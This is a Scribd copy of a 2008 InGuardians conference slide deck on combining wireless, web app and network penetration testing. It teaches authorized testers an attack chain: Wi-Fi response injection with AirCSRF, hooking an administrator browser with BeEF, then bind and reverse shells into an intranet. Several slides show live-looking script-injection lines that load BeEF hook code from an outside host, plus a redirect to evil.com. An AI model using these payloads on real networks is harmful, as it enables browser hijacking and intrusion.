0% found this document useful (0 votes)
176 views18 pages

Pen Test Perfect Storm Part 1 Final

Copyright
© Attribution Non-Commercial (BY-NC)
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
176 views18 pages

Pen Test Perfect Storm Part 1 Final

Copyright
© Attribution Non-Commercial (BY-NC)
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 18

Combining Network, Web App, and Wireless Pen Test Techniques Part I Kevin Johnson, InGuardians Ed Skoudis, InGuardians

s Joshua Wright, InGuardians


Copyright 2008, All Rights Reserved Version 4Q08

The Pen Test Perfect Storm:

Combined Pen Testing - 2008, InGuardians

Outline
Penetration Testing Specialization But Wait Example of Combined Attack Conclusions Q&A

Combined Pen Tests - 2008, InGuardians

Categories of Penetration Testing


Penetration tests are often separated into different types
1) Network penetration tests
Name is a bit ambiguous, but widely used

2) 3) 4) 5)

Web application penetration tests Wireless penetration tests Social engineering tests Physical penetration tests

Others, but those are the biggies Lets focus on 1, 2, and 3


Combined Pen Tests - 2008, InGuardians
3

Penetration Test Specialization


Given that test scopes are often broken down into those categories and the skill sets for each category are rather different Most penetration testers choose one of these areas to focus on
They may minor in another area, but most focus significantly on a major area Hi, Im a web app pen test guy Hi, Im a network pen test guy Hi, Im a wireless pen test guy

This specialization is good a sign of a healthy, robust, and growing industry Combined Pen Tests - 2008, InGuardians

Dealing With Specialization


If you want to be a good pen tester, pick one of these categories and focus on it
Build your skills, zooming in on the finegrained aspects of that kind of test Well provide tips for improving your skills in the three big categories later

If you want to procure good pen tests, make sure you get each of these types of tests performed
Combined Pen Tests - 2008, InGuardians
5

Outline
Penetration Testing Specialization But Wait Example of Combined Attack Preparing for Combined Tests Conclusions Q&A
Combined Pen Tests - 2008, InGuardians
6

Not So Fast
Over specialization has some significant problems:
From a testers perspective, being pigeon-holed careerwise From an enterprise perspective, missing huge sets of vulnerabilities from the other side But, perhaps most important, missing out on the risk posed by combined attacks

As pen testers our job is to determine business risks by modeling, to the extent possible, the activities of real-world attackers Without taking a combined approach into account during testing, it can be difficult or impossible to determine and explain the true business risk associated with vulnerabilities
Combined Pen Tests - 2008, InGuardians
7

But, Doesnt Everyone Test This Way?


Some of you are thinking that a combined approach is common Perhaps you are thinking about an example like this:
A pen tester finds a rogue access point and gets access to the intranet The tester ping sweeps and port scans, finding an intranet web app On the internal web app, the tester finds a directory traversal flaw to read /etc/passwd, getting a list of users (not passwords) The tester then launches a password guessing attack via ssh, determines the password for an account, and then logs in with command shell access

Doesnt everyone do this as part of a wireless test? No And, this example only scratches the surface were talking about going very much deeper to discern the true risk

Consider using the new-found ssh access to launch a local priv escalation attack to get UID 0 on the box Then, on the intranet web server, add content that includes browser scripts to run on admin browsers that surf there Then, use those browsers to well, lets not get ahead of ourselves

Combined Pen Tests - 2008, InGuardians

Outline
Penetration Testing Specialization But Wait Example of Combined Attack Preparing for Combined Tests Conclusions Q&A
Combined Pen Tests - 2008, InGuardians
9

Guest Wireless Networks


Many enterprises deploy wireless networks specifically for use by guests Most guest networks have no encryption Sometimes, legitimate internal users rely on guest networks for a short period of time
Mostly for convenience Conference rooms Front entrance waiting rooms

Even if the traffic is encrypted, attacker could try to break the crypto key Aircrack-ng, Cowpatty, etc.

Combined Pen Tests - 2008, InGuardians

10

Wireless Traffic Manipulation


Pen-tester can manipulate clients on an open AP Impersonating responses, or requests
Victim Pen Tester AP Internal Network Internet Google

172.16.0.1:1025 www.google.com:80 SYN 172.16.0.1:1025 www.google.com:80 SYN/ACK 172.16.0.1:1025 www.google.com:80 ACK 172.16.0.1:1025 www.google.com:80 GET HTTP/1.1\r\n 172.16.0.1:1025 www.google.com:80 302 REDIRECT evil.com 172.16.0.1:1025 www.google.com:80 200 OK Time

Combined Pen Tests - 2008, InGuardians

11

Traffic Manipulation Opportunities


DNS spoofing inform victim that legitimate domain name maps to attackers IP address Unencrypted session manipulation (telnet, ftp, other legacy) HTTP response manipulation

Responding before legitimate site with HTTP 302 REDIRECT Responding after legitimate site, adding to HTTP response
Combined Pen Tests - 2008, InGuardians
12

Manipulating HTTP Responses


WWW

3. Site sends legitimate response

AP

1. Victim makes HTTP GET request to any web site 2. Pen Tester spoofs server appending additional content to HTTP response <script language='Javascript' src='http://foo/beef/hook/be efmagic.js.php'></script>

Victim

Pen Tester

Combined Pen Tests - 2008, InGuardians

13

AirCSRF (Air, Sea, Surf)


Not-yet-released tool from Garland Glessner
# cat aircsrf.conf Host: www.myvictim.com Name: Example AirCSRF Desc: Injects HTML below Stat: 1 Html: <script language= 'Javascript' src='http://1.2.3.4/ beef/hook/beefmagic.js.php'> </script>

Automating wireless injection for XSS


# ./aircsrf -i wifi0 -r madwifing aircsrf v1.21 Detected: IEEE802.11 Headers Loading ./aircsrf.conf ----------------------------------0013ce5598ef INJECT for www.myvictim.com with CSRF payload of: <script language='Javascript' src='http://1.2.3.4/beef/hook/beefm agic.js.php'></script> 0013ce5598ef took the bait for 10.10.10.10 (www.myvictim.com) 14

Combined Pen Tests - 2008, InGuardians

Cross-Site Scripting
Note that weve injected a response that will direct the browser to fetch Javascript associated with BeEF
A specialized browser script attack tool

Most wireless and network pen testers usually ignore XSS


Thats just a web app thing why would a network or wireless pen tester care about it?

But, XSS provides enormous access within a network


Hooking browsers to pivot into the network Using browsers to exploit other services Combined Pen Tests - 2008, InGuardians

15

Using XSS to Pivot into a Network


Client machines provide new and exciting viewpoints to wireless and network penetration testers
From the vantage point of a script inside a victim browser

Browsers running an attackers script can:


Port scan a network Identify administrator machines
Query browser history for links to known admin pages For example, consider VPN administrator URLs in browser history, which we can query for We can even look in browser history for pages accessed postauthentication

Perform web vulnerability scans Reconfigure appliances and devices Deliver exploits to other servers the skys the limit here! Combined Pen Tests - 2008, InGuardians
16

Lets Look at a Scenario


Suppose that a pen tester is evaluating the security of wireless networks in a pen test with a scope that includes combined attacks Pen tester discovers a wireless network set up for guest access from a conference room A legit administrator is using the guest wireless network temporarily Pen tester could hook that admin users browser
controlling it for all kinds of additional access
Combined Pen Tests - 2008, InGuardians
17

Internal Client Browser Used to Admin Important Systems


Web Server Internal Server DNS AP

Internet

Target Network
0. Wireline client admins internal servers later it will go wireless

Firewall Infrastructure

Admin Client

BeEF Controller

Combined Pen Tests - 2008, InGuardians

18

Use Wireless to Hook Browser


Web Server Internal Server DNS AP

Internet

Target Network
Firewall Infrastructure

1. Client uses guest wireless network to access anything

BeEF Controller

1 & 2: Wireless pen test stuff

Combined Pen Tests - 2008, InGuardians

2. Attacker uses AirCSRF to inject BeEF XSS stub in response

Admin Client

19

Control Browser and Fetch History


Web Server Internal Server DNS AP

Internet
4. Attacker accesses BeEF controller
Firewall Infrastructure

Target Network

3. Browser reports to BeEF controller

5. BeEF with additional scripts harvests browsers history including links of browser-managed internal apps
BeEF Controller Client

3, 4, & 5: Web app pen test stuff

Combined Pen Tests - 2008, InGuardians

20

Using Hooked Browsers to Attack Other Targets


Many protocols are forgiving
They will ignore "junk" and HTTP request headers are often considered junk!

BeEF allows for exploitation across protocols


From a hooked browser running attackers scripts, we can direct HTTP requests to target servers
And possibly other protocols besides HTTP: FTP, RDP, VNC, SMB, etc.

Payload of HTTP request is a service-side exploit, to be delivered from hooked browser to target server (possibly on intranet)

BeEF injects a BindShell as an exploit payload Pen tester interacts with the shell
Through BeEF controller application Controller runs on pen tester's server

Combined Pen Tests - 2008, InGuardians

21

Use Hooked Browser to Exploit Intranet Server


8
8. Send shell commands to execute on internal server

Web Server

Internal Server

DNS AP

Internet
6. Attacker uses BeEF controller to tell victim browser to exploit internal server

Target Network
Firewall Infrastructure

7. Exploit internal server

BeEF Controller

Client

6, 7, & 8: Network pen test stuff

Combined Pen Tests - 2008, InGuardians

22

BeEF Exploit Module Interface

Additional exploit modules can be added from Metasploit.

Combined Pen Tests - 2008, InGuardians

23

BeEF BindShell Interface

Combined Pen Tests - 2008, InGuardians

24

Use Shell on Internal Server to Attack Rest of Infrastructure


Web Server Internal Server

10. Use reliable reverse shell to tell system to scan internal network

DNS AP

Internet
9. Send shell commands to get direct reverse shell access

11. Scan and exploit internal network


Firewall Infrastructure

BeEF Controller

9 & 10: Network pen test stuff 11 and beyond: Web app, network whatever

Client

Combined Pen Tests - 2008, InGuardians

25

Outline
Penetration Testing Specialization But Wait Example of Combined Attack Preparing for Combined Tests Conclusions Q&A
Combined Pen Tests - 2008, InGuardians
26

Dealing With Specialization REDUX


If you want to be a great pen tester, make sure you can pivot between network pen tests, web app tests, and wireless pen tests
Furthermore, integrate these attack vectors together into a combined attack

If you want to procure great pen tests, make sure you explicitly require combined tests in the scope
And, make sure testers present findings in terms of the business risk of combined attack vectors Combined Pen Tests - 2008, InGuardians
27

Getting Up to Speed On Wireless Pen Testing


Get to know the protocols
802.11 (alphabet soup and MAC), 802.1X, EAP, RADIUS Know how to identify WPA, WPA2, WEP Wireshark is your BFF here (but not for Paris Hilton)

Get to know attack tools and how they function


Kismet, Metasploit, LORCON, Aircrack-ng, KARMA, Cowpatty, Very limited commercial tools for wireless pen-testing

Get to know client functionality


XP, Vista, and third-party clients all behave differently

Did we mention Bluetooth, ZigBee, WiMax, RFID, proprietary, ?


Combined Pen Tests - 2008, InGuardians
28

Getting Up to Speed On Network Pen Testing


Get to know protocols
TCP/IP, HTTP, SSL, LDAP, NetBIOS, SMB, 802.11, 802.1X, EAP

Get to know command-lines and scripting within operating systems


Cmd.exe (Painful we know we really really do) Bash Perl or Python or Ruby

Get to know administration features of operating systems


Windows, Linux, Unix

Get to know exploitation tools and how exploits function


Metasploit, Core IMPACT, Immunity Canvas

Get to know how exploits and tools work and the languages that they are often written in
C, C++, x86 Assembly

Combined Pen Tests - 2008, InGuardians

29

Getting Up to Speed On Web App Pen Testing


Get to know the protocols
HTTP and HTTPS (possibly others, depending on the application)

Get to know various server-side scripting language


ASP/.NET, Java, PHP, Cold Fusion, Perl, Ruby Basic web app development understanding Administration understanding

Get to know client functionality


Browsers and other third-party client software History, caching, cross-domain content restrictions, etc.

Get to know client-side languages


JavaScript, Flex, VBscript (did we mention painful?)

Combined Pen Tests - 2008, InGuardians

30

Outline
Penetration Testing Specialization But Wait Example of Combined Tests Preparing for Combined Tests Conclusions Q&A
Combined Pen Tests - 2008, InGuardians
31

Conclusions
Combined attack vectors allow for far deeper penetration into most target networks than separate vectors allow
Combining web app, network, and wireless penetration testing is very powerful

This combination provides a much more accurate view of the business risks posed by vulnerabilities than offered by completely separate network, wireless, and web app tests Consider pairing up people with complementary skills for tests Weve gone over one attack vector (guest wireless) and two tools (AirCSRF and BeEF) here In Parts II and III, well look at additional attack vectors and tools for further combining these three disciplines Combined Pen Tests - 2008, InGuardians

32

Upcoming In-Depth SANS Pen Test Courses


SANS 560: Network Pen Testing and Ethical Hacking
Monterey, CA, Oct 31: Galbraith Eatontown, NJ, Nov 3: Skoudis San Antonio, TX, Nov 8: Conrad Washington DC, Dec 11: Skoudis Jan-March: SANS@Home, 1 to 4 PM EST: Skoudis

SANS 542: Web App Pen Testing and Ethical Hacking


Washington DC, Dec 11: Johnson Vegas, Jan 26: Johnson

SANS 617: Wireless Ethical Hacking, Pen Testing, and Defenses


Washington DC, Dec 11: Luallen Orlando, FL, March 2: Wright

Combined Pen Tests - 2008, InGuardians

33

Outline
Penetration Testing Specialization But Wait Example of Combined Tests Preparing for Combined Tests Conclusions Q&A
Combined Pen Tests - 2008, InGuardians
34

Questions?
Follow-up discussion over the next week at the Ethical Hacker Network
www.ethicalhacker.net Look for Special Events under Forum Kevin, Ed, and Josh will participate in the discussion thread periodically
Combined Pen Tests - 2008, InGuardians
35

You might also like